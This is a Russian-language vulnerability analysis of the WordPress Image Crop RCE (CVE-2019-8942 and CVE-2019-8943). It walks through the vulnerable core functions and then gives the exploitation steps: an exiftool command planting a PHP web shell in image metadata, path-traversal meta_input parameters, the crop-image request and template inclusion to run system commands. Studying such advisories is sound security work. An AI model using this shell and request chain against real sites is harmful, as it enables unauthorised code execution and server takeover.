
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
В данном документе рассматриваются уязвимости CVE-2019-8942 и CVE-2019-8943, известные как WordPress Image CROP RCE и обнаруженные в WordPress 4.9.9 и версиях до 5.0.1.
| CVE номер | Дата публикации | Описание |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | Уязвимость, позволяющая через значения таблицы wp_postmeta выполнить PHP с вредоносным кодом и осуществить удалённое выполнение кода |
| CVE-2019-8943 | 2019-2-19 | Уязвимость, позволяющая при изменении данных о размере загруженного изображения сохранить файл в произвольный путь с помощью параметра meta_input |
CVE-2019-8942 позволяет загрузить изображение с PHP-кодом, внедрённым в exif-метаданные, затем изменить значение wp_attached_file в таблице wp_post_meta записи и, выполнив include файла изображения, запустить произвольный код.
CVE-2019-8943 позволяет при использовании инструмента редактирования изображений в функции wp_crop_image(), обновляющей данные о размере изображения, изменить значение wp_attached_file в таблице wp_postmeta на произвольную строку и выполнить запись файла в произвольный каталог.
Используя обе уязвимости совместно, можно загрузить изображение с PHP-кодом в произвольный путь и выполнить удалённый код.
При загрузке изображения в WordPress оно сначала перемещается в каталог wp-content/uploads, а в базу данных сохраняется внутренняя справочная информация (метаданные, такие как владелец изображения и время загрузки) в виде пар meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
Как показано выше, метаданные изображения хранятся в базе данных. При получении изображения имя файла ищется в каталоге wp-content/uploads с использованием метаданных _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
Функция edit_post() сохраняет POST-данные в переменной $post_data без отдельной фильтрации, а POST-значения, прошедшие через wp_update_post() → wp_insrt_post(), обновляют метаданные в БД функцией update_post_meta(). Обновив значение _wp_attached_file, можно изменить путь к изображению в метаданных.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
Функция wp_crop_image(), вызываемая при изменении размера файла, получает путь для сохранения файла через функцию get_attached_file(), которая, в свою очередь, через get_post_meta() получает путь из сохранённого в БД _wp_attached_file и сохраняет изменённое изображение.
Из-за этих двух проблем в итоге происходит получение пути к файлу, изменённого через POST, и сохранение изменённого изображения по этому пути.
Темы WordPress хранятся и используются в каталоге wp-content/themes. Установив для записи значение post-метаданных _wp_page_template, можно подключить файл из каталога этой темы через include() в качестве шаблона.
При этом файл включается в запись подобно тому, как это делает функция include() в PHP. Поэтому, если включить изображение, содержащее PHP-код, оно будет вести себя как PHP-страница, что позволяет выполнить PHP-код.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Вставка PHP-шелла в поле CopyrightNotice метаданных изображения.



При щелчке на загруженное изображение — «Подробнее» — «Обновить» в запрос, передаваемый в post.php, добавляется параметр &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell.
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Подтверждено, что значение _wp_attached_file в БД изменено.


При щелчке на загруженное изображение — «Редактировать изображение» — изменение размера и нажатии кнопки «Размер» в запрос к admin-ajax.php добавляются изменённые параметры.

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
Подтверждено, что файл cropped-shell.jpg создан в каталоге темы.

При создании записи в запрос к post.php добавляется параметр &meta_input[_wp_page_template]=cropped-shell.jpg, и файл включается в запись.

Подтверждено, что PHP-код включённого файла изображения выполняется, а значение, переданное в запись через POST-параметр, исполняется как системная команда.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - Python-код PoC
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - Отчет об анализе уязвимости WP-CROP-RCE
https://blog.naver.com/skinfosec2000/221517528775 - Отчет об анализе уязвимости WP-CROP-RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - Официальная страница CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - Официальная страница CVE